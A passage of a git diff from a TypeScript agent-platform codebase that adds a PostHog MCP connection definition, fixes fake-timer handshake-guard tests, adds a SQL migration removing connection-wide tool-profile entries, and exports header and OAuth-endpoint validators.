parent credential, covering legacy rows and DNS rebinding.
|
||||
- Health and auth failures transition failure-closed: `missing_secret`,
|
||||
`degraded`, `failed`, `auth_required`, or disabled equivalents.
|
||||
- Error payloads and logs redact provider responses that may contain credentials.
|
||||
|
|
|
|||
|
|
@ -52,6 +52,8 @@
|
|||
"smoke:openclaw-docker-ui": "./scripts/smoke/openclaw-docker-ui.sh",
|
||||
"smoke:openclaw-sse-standalone": "./scripts/smoke/openclaw-sse-standalone.sh",
|
||||
"smoke:mcp-fixtures": "node scripts/smoke/mcp-fixture-harness.mjs",
|
||||
"smoke:notion-generic-live": "node scripts/smoke/notion-generic-live.mjs",
|
||||
"smoke:posthog-live": "node scripts/smoke/posthog-live.mjs",
|
||||
"smoke:pipelines-tutorial": "./scripts/smoke/pipelines-tutorial-smoke.sh",
|
||||
"smoke:terminal-bench-loop-skill": "node scripts/smoke/terminal-bench-loop-skill-smoke.mjs",
|
||||
"test:release-registry": "node --test scripts/verify-release-registry-state.test.mjs scripts/release-package-map.test.mjs scripts/check-release-package-bootstrap.test.mjs scripts/check-no-git-push.test.mjs scripts/release-lib.test.mjs scripts/release-registry-versions.test.mjs scripts/link-plugin-dev-sdk.test.js scripts/acpx-patch-packaging.test.mjs scripts/service-onboard-smoke.test.mjs scripts/docker-onboard-smoke.test.mjs",
|
||||
|
|
@ -71,6 +73,7 @@
|
|||
},
|
||||
"devDependencies": {
|
||||
"@playwright/test": "^1.62.1",
|
||||
"agentmail": "^0.5.14",
|
||||
"cross-env": "^10.1.0",
|
||||
"esbuild": "^0.28.2",
|
||||
"typescript": "^7.0.2",
|
||||
|
|
|
|||
|
|
@ -217,17 +217,30 @@ async function runExecutor(
|
|||
return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
|
||||
}
|
||||
|
||||
// Under `vi.useFakeTimers()`, the setup work before a run reaches its
|
||||
// `ensureSession` call (staging, warm-handle lookups, real `fs` calls) still
|
||||
// runs through ordinary promise chains, not timers. `advanceTimersByTimeAsync`
|
||||
// only drains microtasks in the windows between the timer ticks it processes;
|
||||
// with no timer due yet, a single call can return before that setup chain
|
||||
// finishes unwinding. Flushing a few zero-length advances first lets it fully
|
||||
// unwind before the real, deadline-length advance below.
|
||||
async function flushSetupThenAdvanceTimersByTimeAsync(ms: number): Promise<void> {
|
||||
for (let i = 0; i < 50; i++) {
|
||||
await vi.advanceTimersByTimeAsync(0);
|
||||
}
|
||||
// Under `vi.useFakeTimers()`, setup before `ensureSession` still performs real
|
||||
// filesystem work. Advancing the fake clock before that work reaches the
|
||||
// handshake can leave the guard timer scheduled after the advance and hang the
|
||||
// test. Track the exact call boundary so the deadline always advances only
|
||||
// after the guard exists, regardless of runner load.
|
||||
function trackEnsureSessionCall<T>(call: () => Promise<T>): {
|
||||
call: () => Promise<T>;
|
||||
started: Promise<void>;
|
||||
} {
|
||||
let markStarted!: () => void;
|
||||
const started = new Promise<void>((resolve) => {
|
||||
markStarted = resolve;
|
||||
});
|
||||
return {
|
||||
call: () => {
|
||||
markStarted();
|
||||
return call();
|
||||
},
|
||||
started,
|
||||
};
|
||||
}
|
||||
|
||||
async function advanceHandshakeGuardAfterStart(started: Promise<void>, ms: number): Promise<void> {
|
||||
await started;
|
||||
await vi.advanceTimersByTimeAsync(ms);
|
||||
}
|
||||
|
||||
|
|
@ -6273,11 +6286,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
|
||||
it("ends a handshake that stays pending past the startup deadline with a closed timeout code", async () => {
|
||||
const root = await makeTempRoot();
|
||||
const ensureSession = trackEnsureSessionCall(() => new Promise<never>(() => {}));
|
||||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
// Never settles on its own; only the guard's deadline can end it.
|
||||
ensureSession: () => new Promise(() => {}),
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6298,7 +6312,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
onLog: async () => {},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
const result = await resultPromise;
|
||||
|
||||
// The run terminalizes promptly on its own; no server restart needed.
|
||||
|
|
@ -6316,6 +6330,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const ensureSessionPromise = new Promise((resolve) => {
|
||||
resolveEnsure = resolve;
|
||||
});
|
||||
const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise);
|
||||
const startTurn = vi.fn(() => ({
|
||||
events: (async function* () {
|
||||
yield { type: "done", stopReason: "end_turn" };
|
||||
|
|
@ -6326,7 +6341,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
ensureSession: () => ensureSessionPromise,
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn,
|
||||
close: async () => {},
|
||||
}) as never,
|
||||
|
|
@ -6343,7 +6358,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
onLog: async () => {},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
const result = await resultPromise;
|
||||
|
||||
expect(result.errorCode).toBe("acpx_handshake_timeout");
|
||||
|
|
@ -6364,7 +6379,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
}, 10_000);
|
||||
|
||||
it("closes a late-resolving real handle exactly once, whether it arrives before or after settlement seals", async () => {
|
||||
const lateHandle = {
|
||||
|
|
@ -6383,11 +6398,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const ensureSessionPromise = new Promise((resolve) => {
|
||||
resolveEnsure = resolve;
|
||||
});
|
||||
const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise);
|
||||
const closeSpy = vi.fn(async () => {});
|
||||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
ensureSession: () => ensureSessionPromise,
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6405,7 +6421,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
onLog: async () => {},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
return { closeSpy, resolveEnsure, resultPromise };
|
||||
}
|
||||
|
||||
|
|
@ -6437,16 +6453,17 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
}, 10_000);
|
||||
|
||||
it("discards the reuse decision and leaves no warm entry after a guard rejection", async () => {
|
||||
const root = await makeTempRoot();
|
||||
const warmHandles = new Map();
|
||||
const ensureSession = trackEnsureSessionCall(() => new Promise<never>(() => {}));
|
||||
const execute = createAcpxEngineExecutor({
|
||||
warmHandles,
|
||||
createRuntime: () =>
|
||||
({
|
||||
ensureSession: () => new Promise(() => {}),
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6473,7 +6490,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
onLog: async () => {},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
const result = await resultPromise;
|
||||
|
||||
expect(result.errorCode).toBe("acpx_handshake_timeout");
|
||||
|
|
@ -6538,6 +6555,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const ensureSessionPromise = new Promise((_resolve, reject) => {
|
||||
rejectEnsure = reject;
|
||||
});
|
||||
const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise);
|
||||
const logs: Array<{ stream: string; text: string }> = [];
|
||||
const unhandledRejections: unknown[] = [];
|
||||
const onUnhandledRejection = (err: unknown) => unhandledRejections.push(err);
|
||||
|
|
@ -6548,7 +6566,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
ensureSession: () => ensureSessionPromise,
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6568,7 +6586,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
const result = await resultPromise;
|
||||
expect(result.errorCode).toBe("acpx_handshake_timeout");
|
||||
|
||||
|
|
@ -6604,11 +6622,12 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
);
|
||||
|
||||
const logs: Array<{ stream: string; text: string }> = [];
|
||||
const ensureSession = trackEnsureSessionCall(() => new Promise<never>(() => {}));
|
||||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
// Never settles on its own; only the guard's deadline can end it.
|
||||
ensureSession: () => new Promise(() => {}),
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6631,7 +6650,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 50);
|
||||
const result = await resultPromise;
|
||||
|
||||
expect(result.errorCode).toBe("acpx_handshake_timeout");
|
||||
|
|
@ -6756,6 +6775,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const ensureSessionPromise = new Promise((resolve) => {
|
||||
resolveEnsure = resolve;
|
||||
});
|
||||
const ensureSession = trackEnsureSessionCall(() => ensureSessionPromise);
|
||||
const logs: Array<{ stream: string; text: string }> = [];
|
||||
const unhandledRejections: unknown[] = [];
|
||||
const onUnhandledRejection = (err: unknown) => unhandledRejections.push(err);
|
||||
|
|
@ -6766,7 +6786,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
const execute = createAcpxEngineExecutor({
|
||||
createRuntime: () =>
|
||||
({
|
||||
ensureSession: () => ensureSessionPromise,
|
||||
ensureSession: ensureSession.call,
|
||||
startTurn: () => ({
|
||||
events: (async function* () {})(),
|
||||
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
|
||||
|
|
@ -6788,7 +6808,7 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
},
|
||||
onMeta: async () => {},
|
||||
} as never);
|
||||
await flushSetupThenAdvanceTimersByTimeAsync(ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
await advanceHandshakeGuardAfterStart(ensureSession.started, ACPX_HANDSHAKE_TIMEOUT_MS + 1);
|
||||
const result = await resultPromise;
|
||||
expect(result.errorCode).toBe("acpx_handshake_timeout");
|
||||
|
||||
|
|
@ -6812,5 +6832,5 @@ describe("ACPX startup handshake guard and late-completion fence", () => {
|
|||
process.off("unhandledRejection", onUnhandledRejection);
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
}, 10000);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,10 @@
|
|||
DELETE FROM "tool_profile_entries" AS "entry"
|
||||
USING "tool_profiles" AS "profile"
|
||||
WHERE "entry"."profile_id" = "profile"."id"
|
||||
AND "entry"."company_id" = "profile"."company_id"
|
||||
AND "entry"."selector_type" = 'connection'
|
||||
AND "entry"."effect" = 'include'
|
||||
AND "entry"."connection_id" IS NOT NULL
|
||||
AND "profile"."profile_key" = 'app:' || "entry"."connection_id"::text
|
||||
AND "profile"."metadata" ->> 'source' IN ('app_gallery_finish', 'tool_connection_install')
|
||||
AND "profile"."metadata" ->> 'connectionId' = "entry"."connection_id"::text;
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1604,6 +1604,13 @@
|
|||
"when": 1787880484952,
|
||||
"tag": "0230_better_auth_account_issuer",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 231,
|
||||
"version": "7",
|
||||
"when": 1787922567272,
|
||||
"tag": "0231_remove_app_connection_wide_includes",
|
||||
"breakpoints": true
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -2,13 +2,14 @@ import a0 from "./app-definitions/zapier.json" with { type: "json" };
|
|||
import a1 from "./app-definitions/github.json" with { type: "json" };
|
||||
import a2 from "./app-definitions/slack.json" with { type: "json" };
|
||||
import a3 from "./app-definitions/notion.json" with { type: "json" };
|
||||
import a4 from "./app-definitions/linear.json" with { type: "json" };
|
||||
import a5 from "./app-definitions/google-sheets.json" with { type: "json" };
|
||||
import a6 from "./app-definitions/context7.json" with { type: "json" };
|
||||
import a7 from "./app-definitions/oauth-generic.json" with { type: "json" };
|
||||
import a8 from "./app-definitions/api-key-generic.json" with { type: "json" };
|
||||
import a9 from "./app-definitions/sentry.json" with { type: "json" };
|
||||
import a10 from "./app-definitions/vercel.json" with { type: "json" };
|
||||
import a11 from "./app-definitions/anthropic.json" with { type: "json" };
|
||||
import a4 from "./app-definitions/posthog.json" with { type: "json" };
|
||||
import a5 from "./app-definitions/linear.json" with { type: "json" };
|
||||
import a6 from "./app-definitions/google-sheets.json" with { type: "json" };
|
||||
import a7 from "./app-definitions/context7.json" with { type: "json" };
|
||||
import a8 from "./app-definitions/oauth-generic.json" with { type: "json" };
|
||||
import a9 from "./app-definitions/api-key-generic.json" with { type: "json" };
|
||||
import a10 from "./app-definitions/sentry.json" with { type: "json" };
|
||||
import a11 from "./app-definitions/vercel.json" with { type: "json" };
|
||||
import a12 from "./app-definitions/anthropic.json" with { type: "json" };
|
||||
import type { AppDefinition } from "./types/app-definition.js";
|
||||
export const APP_DEFINITIONS=[a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11] as AppDefinition[];
|
||||
export const APP_DEFINITIONS=[a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12] as AppDefinition[];
|
||||
|
|
|
|||
|
|
@ -3,12 +3,13 @@ import { APP_DEFINITIONS } from "./app-definitions.generated.js";
|
|||
import { appDefinitionsSchema } from "./validators/app-definition.js";
|
||||
describe("AppDefinition catalog",()=>{
|
||||
it("validates all Wave 1 definitions",()=>expect(()=>appDefinitionsSchema.parse(APP_DEFINITIONS)).not.toThrow());
|
||||
it("contains twelve reviewed providers",()=>expect(APP_DEFINITIONS.map((app)=>app.slug)).toEqual(["zapier","github","slack","notion","linear","google-sheets","context7","oauth-generic","api-key-generic","sentry","vercel","anthropic"]));
|
||||
it("contains thirteen reviewed providers",()=>expect(APP_DEFINITIONS.map((app)=>app.slug)).toEqual(["zapier","github","slack","notion","posthog","linear","google-sheets","context7","oauth-generic","api-key-generic","sentry","vercel","anthropic"]));
|
||||
it("uses discovery-first Notion MCP OAuth metadata",()=>{
|
||||
const notion=APP_DEFINITIONS.find((app)=>app.slug==="notion");
|
||||
expect(notion?.redirectConstraints).toBe("https-or-loopback-http");
|
||||
expect(notion?.methods[0]?.defaults).toEqual({serverUrl:"https://mcp.notion.com/mcp"});
|
||||
});
|
||||
it("preserves required Linear OAuth scopes",()=>expect(APP_DEFINITIONS.find((app)=>app.slug==="linear")?.methods[0]?.defaults?.scopesHint).toEqual(["read","write"]));
|
||||
it("offers PostHog OAuth and API-key methods with broad defaults and advanced narrowing",()=>{const posthog=APP_DEFINITIONS.find((app)=>app.slug==="posthog");expect(posthog?.methods.map((method)=>method.key)).toEqual(["mcp-oauth","mcp-api-key"]);for(const method of posthog?.methods??[]){expect(method.riskTier).toBe("S3");expect(method.tenantFields?.find((field)=>field.key==="readOnly")?.defaultValue).toBe(false);expect(method.tenantFields?.find((field)=>field.key==="projectId")?.transport).toEqual({location:"header",name:"x-posthog-project-id"});expect(method.tenantFields?.filter((field)=>field.advanced).map((field)=>field.key)).toEqual(["features","tools","mode"]);expect(method.configRequirements).toBeUndefined();expect(method.requiredResourceFilters).toEqual(["project"])}});
|
||||
it("enforces method and field invariants",()=>{for(const app of APP_DEFINITIONS)for(const method of app.methods){if(method.auth==="api_key")expect(method.keyPlacement).toBeTruthy();if(method.auth==="oauth")expect(method.ownershipModes.length).toBeGreaterThan(0);for(const field of method.credentialFields??[])if(field.required&&field.type!=="checkbox")expect(field.placeholder).toBeTruthy()}});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ const CONNECTABLE_APP_SLUGS = new Set([
|
|||
"github",
|
||||
"slack",
|
||||
"notion",
|
||||
"posthog",
|
||||
"linear",
|
||||
"google-sheets",
|
||||
"context7",
|
||||
|
|
@ -47,19 +48,27 @@ export function getAppDefinitionForUrl(
|
|||
) ?? null;
|
||||
}
|
||||
|
||||
export function getAvailableConnectionMethod(app: AppDefinition): ConnectionMethodDef | null {
|
||||
export function getAvailableConnectionMethods(app: AppDefinition): ConnectionMethodDef[] {
|
||||
const availability = app.ownershipAvailability ?? DEFAULT_OWNERSHIP_AVAILABILITY;
|
||||
return app.methods.find((method) =>
|
||||
return app.methods.filter((method) =>
|
||||
method.ownershipModes.some((ownership) => availability[ownership] !== false)
|
||||
) ?? null;
|
||||
);
|
||||
}
|
||||
|
||||
export function getAvailableConnectionMethod(
|
||||
app: AppDefinition,
|
||||
methodKey?: string | null,
|
||||
): ConnectionMethodDef | null {
|
||||
const methods = getAvailableConnectionMethods(app);
|
||||
return methodKey ? methods.find((method) => method.key === methodKey) ?? null : methods[0] ?? null;
|
||||
}
|
||||
|
||||
export function credentialConfigPath(field: FieldDef): string {
|
||||
return `credentials.${field.key}`;
|
||||
}
|
||||
|
||||
export function recommendedDefaultsForApp(app: AppDefinition): Record<string, unknown> {
|
||||
const method = getAvailableConnectionMethod(app);
|
||||
export function recommendedDefaultsForApp(app: AppDefinition, methodKey?: string | null): Record<string, unknown> {
|
||||
const method = getAvailableConnectionMethod(app, methodKey);
|
||||
return {
|
||||
access: "all_agents",
|
||||
askFirstRiskLevels: method?.riskTier === "S1" ? [] : ["write", "destructive"],
|
||||
|
|
|
|||
|
|
@ -0,0 +1,243 @@
|
|||
{
|
||||
"schemaVersion": 1,
|
||||
"slug": "posthog",
|
||||
"name": "PostHog",
|
||||
"description": "Analyze product usage, errors, feature flags, and experiments in a pinned PostHog project.",
|
||||
"categories": [
|
||||
"analytics"
|
||||
],
|
||||
"featured": true,
|
||||
"branding": {
|
||||
"logoUrl": "https://www.google.com/s2/favicons?domain=posthog.com&sz=128"
|
||||
},
|
||||
"urlPatterns": [
|
||||
"https://mcp.posthog.com/*"
|
||||
],
|
||||
"methods": [
|
||||
{
|
||||
"key": "mcp-oauth",
|
||||
"transport": "mcp_remote",
|
||||
"auth": "oauth",
|
||||
"ownershipModes": [
|
||||
"customer",
|
||||
"dcr"
|
||||
],
|
||||
"whenToUse": "Sign in with PostHog in the browser. Recommended for hosted PostHog accounts.",
|
||||
"defaults": {
|
||||
"serverUrl": "https://mcp.posthog.com/mcp"
|
||||
},
|
||||
"guidanceMd": "Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.",
|
||||
"riskTier": "S3",
|
||||
"tenantFields": [
|
||||
{
|
||||
"key": "projectId",
|
||||
"label": "Project ID",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"placeholder": "12345",
|
||||
"helperMd": "Find the numeric project ID in PostHog project settings.",
|
||||
"validation": {
|
||||
"pattern": "^[0-9]+$",
|
||||
"maxLength": 32
|
||||
},
|
||||
"transport": {
|
||||
"location": "header",
|
||||
"name": "x-posthog-project-id"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "readOnly",
|
||||
"label": "Read-only mode",
|
||||
"type": "checkbox",
|
||||
"defaultValue": false,
|
||||
"helperMd": "Turn on to hide tools that can change PostHog data.",
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "readonly",
|
||||
"format": "boolean",
|
||||
"omitFalse": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "features",
|
||||
"label": "Feature groups",
|
||||
"type": "textarea",
|
||||
"advanced": true,
|
||||
"placeholder": "Optional comma-separated feature groups",
|
||||
"helperMd": "Leave blank to expose every feature group, or enter a comma-separated list to narrow access.",
|
||||
"validation": {
|
||||
"maxLength": 500
|
||||
},
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "features",
|
||||
"format": "csv"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "tools",
|
||||
"label": "Individual tools",
|
||||
"type": "textarea",
|
||||
"advanced": true,
|
||||
"placeholder": "Optional comma-separated tool names",
|
||||
"helperMd": "Leave blank to expose all tools. Exact names here are combined with any feature groups.",
|
||||
"validation": {
|
||||
"maxLength": 2000
|
||||
},
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "tools",
|
||||
"format": "csv"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "mode",
|
||||
"label": "Tool response mode",
|
||||
"type": "select",
|
||||
"advanced": true,
|
||||
"required": true,
|
||||
"placeholder": "Individual tools",
|
||||
"defaultValue": "tools",
|
||||
"options": [
|
||||
{
|
||||
"value": "tools",
|
||||
"label": "Individual tools"
|
||||
}
|
||||
],
|
||||
"helperMd": "Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.",
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "mode"
|
||||
}
|
||||
}
|
||||
],
|
||||
"requiredResourceFilters": [
|
||||
"project"
|
||||
],
|
||||
"label": "Sign in with PostHog",
|
||||
"consoleLinks": {
|
||||
"docs": "https://posthog.com/docs/model-context-protocol"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "mcp-api-key",
|
||||
"transport": "mcp_remote",
|
||||
"auth": "api_key",
|
||||
"ownershipModes": [
|
||||
"customer"
|
||||
],
|
||||
"whenToUse": "Use a PostHog personal API key when browser sign-in is not suitable.",
|
||||
"defaults": {
|
||||
"serverUrl": "https://mcp.posthog.com/mcp"
|
||||
},
|
||||
"guidanceMd": "Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.",
|
||||
"riskTier": "S3",
|
||||
"tenantFields": [
|
||||
{
|
||||
"key": "projectId",
|
||||
"label": "Project ID",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"placeholder": "12345",
|
||||
"helperMd": "Find the numeric project ID in PostHog project settings.",
|
||||
"validation": {
|
||||
"pattern": "^[0-9]+$",
|
||||
"maxLength": 32
|
||||
},
|
||||
"transport": {
|
||||
"location": "header",
|
||||
"name": "x-posthog-project-id"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "readOnly",
|
||||
"label": "Read-only mode",
|
||||
"type": "checkbox",
|
||||
"defaultValue": false,
|
||||
"helperMd": "Turn on to hide tools that can change PostHog data.",
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "readonly",
|
||||
"format": "boolean",
|
||||
"omitFalse": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "features",
|
||||
"label": "Feature groups",
|
||||
"type": "textarea",
|
||||
"advanced": true,
|
||||
"placeholder": "Optional comma-separated feature groups",
|
||||
"helperMd": "Leave blank to expose every feature group, or enter a comma-separated list to narrow access.",
|
||||
"validation": {
|
||||
"maxLength": 500
|
||||
},
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "features",
|
||||
"format": "csv"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "tools",
|
||||
"label": "Individual tools",
|
||||
"type": "textarea",
|
||||
"advanced": true,
|
||||
"placeholder": "Optional comma-separated tool names",
|
||||
"helperMd": "Leave blank to expose all tools. Exact names here are combined with any feature groups.",
|
||||
"validation": {
|
||||
"maxLength": 2000
|
||||
},
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "tools",
|
||||
"format": "csv"
|
||||
}
|
||||
},
|
||||
{
|
||||
"key": "mode",
|
||||
"label": "Tool response mode",
|
||||
"type": "select",
|
||||
"advanced": true,
|
||||
"required": true,
|
||||
"placeholder": "Individual tools",
|
||||
"defaultValue": "tools",
|
||||
"options": [
|
||||
{
|
||||
"value": "tools",
|
||||
"label": "Individual tools"
|
||||
}
|
||||
],
|
||||
"helperMd": "Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.",
|
||||
"transport": {
|
||||
"location": "query",
|
||||
"name": "mode"
|
||||
}
|
||||
}
|
||||
],
|
||||
"requiredResourceFilters": [
|
||||
"project"
|
||||
],
|
||||
"label": "Use a personal API key",
|
||||
"credentialFields": [
|
||||
{
|
||||
"key": "authorization",
|
||||
"label": "PostHog personal API key",
|
||||
"type": "password",
|
||||
"required": true,
|
||||
"placeholder": "phx_...",
|
||||
"secret": true
|
||||
}
|
||||
],
|
||||
"keyPlacement": {
|
||||
"location": "header",
|
||||
"name": "Authorization",
|
||||
"prefix": "Bearer "
|
||||
},
|
||||
"consoleLinks": {
|
||||
"keys": "https://posthog.com/docs/model-context-protocol/faq",
|
||||
"docs": "https://posthog.com/docs/model-context-protocol/faq"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -266,6 +266,7 @@ export {
|
|||
credentialConfigPath,
|
||||
getAppDefinitionForUrl,
|
||||
getAvailableConnectionMethod,
|
||||
getAvailableConnectionMethods,
|
||||
getConnectableAppDefinition,
|
||||
recommendedDefaultsForApp,
|
||||
} from "./app-definitions.js";
|
||||
|
|
@ -277,6 +278,31 @@ export {
|
|||
connectionDisplaySecondaryHint,
|
||||
type HumanizableConnection,
|
||||
} from "./humanize-connection.js";
|
||||
export {
|
||||
MCP_CONFIG_HELP_INSTRUCTIONS,
|
||||
MCP_CONFIG_HELP_PROMPT,
|
||||
} from "./mcp-config-help-prompt.js";
|
||||
export {
|
||||
MCP_REMOTE_HEADER_LIMITS,
|
||||
checkMcpRemoteHeaderName,
|
||||
checkMcpRemoteHeaderValue,
|
||||
isSafeMcpRemoteHeaderName,
|
||||
isSafeMcpRemoteHeaderValue,
|
||||
mcpRemoteHeaderNameFromConfigPath,
|
||||
mcpRemoteHeaderRejectionMessage,
|
||||
type McpRemoteHeaderCheck,
|
||||
type McpRemoteHeaderRejection,
|
||||
} from "./mcp-remote-headers.js";
|
||||
export {
|
||||
checkOAuthEndpointUrl,
|
||||
isSafeOAuthEndpointUrl,
|
||||
oauthEndpointDisplayHost,
|
||||
oauthEndpointUrlRejectionMessage,
|
||||
type OAuthEndpointKind,
|
||||
type OAuthEndpointUrlCheck,
|
||||
type OAuthEndpointUrlOptions,
|
||||
type OAuthEndpointUrlRejection,
|
||||
} from "./oauth-endpoint-url.js";
|
||||
export {
|
||||
COMPANY_STATUSES,
|
||||
DEPLOYMENT_MODES,
|
||||
|
|
@ -1274,7 +1300,9 @@ export type {
|
|||
SecretProposalView,
|
||||
ApproveSecretProposalInput,
|
||||
RejectSecretProposalInput,
|
||||
ConnectToolAppAuthChallenge,
|
||||
ConnectToolAppResult,
|
||||
ToolOAuthClientRegistrationSource,
|
||||
ToolOAuthStartResult,
|
||||
ToolActionRequest,
|
||||
ToolAccessDecision,
|
||||
|
|
@ -1340,6 +1368,8 @@ export type {
|
|||
ToolConnectionInstall,
|
||||
ToolConnectionInstallSnapshot,
|
||||
ToolConnectionInstallTargetType,
|
||||
ToolConnectionRemovalResult,
|
||||
ToolConnectionRemovalSummary,
|
||||
ConnectionGrant,
|
||||
ConnectionGrantKind,
|
||||
ConnectionGrantStatus,
|
||||
|
|
@ -2046,6 +2076,11 @@ export {
|
|||
createToolTrustRuleFromActionRequestSchema,
|
||||
revokeToolTrustRuleSchema,
|
||||
connectToolAppSchema,
|
||||
GENERIC_MCP_AUTH_MODES,
|
||||
genericMcpAuthModeSchema,
|
||||
genericMcpOAuthClientSchema,
|
||||
type GenericMcpAuthMode,
|
||||
type GenericMcpOAuthClient,
|
||||
reconnectToolAppSchema,
|
||||
createToolApplicationSchema,
|
||||
finishToolAppSchema,
|
||||
|
|
|
|||
|
|
@ -0,0 +1,56 @@
|
|||
/**
|
||||
* The static prompt an operator copies and hands to an agent to get a
|
||||
* paste-ready MCP config back (PAP-17087, plan section 3A).
|
||||
*
|
||||
* This is a constant on purpose. It must never interpolate the textarea's
|
||||
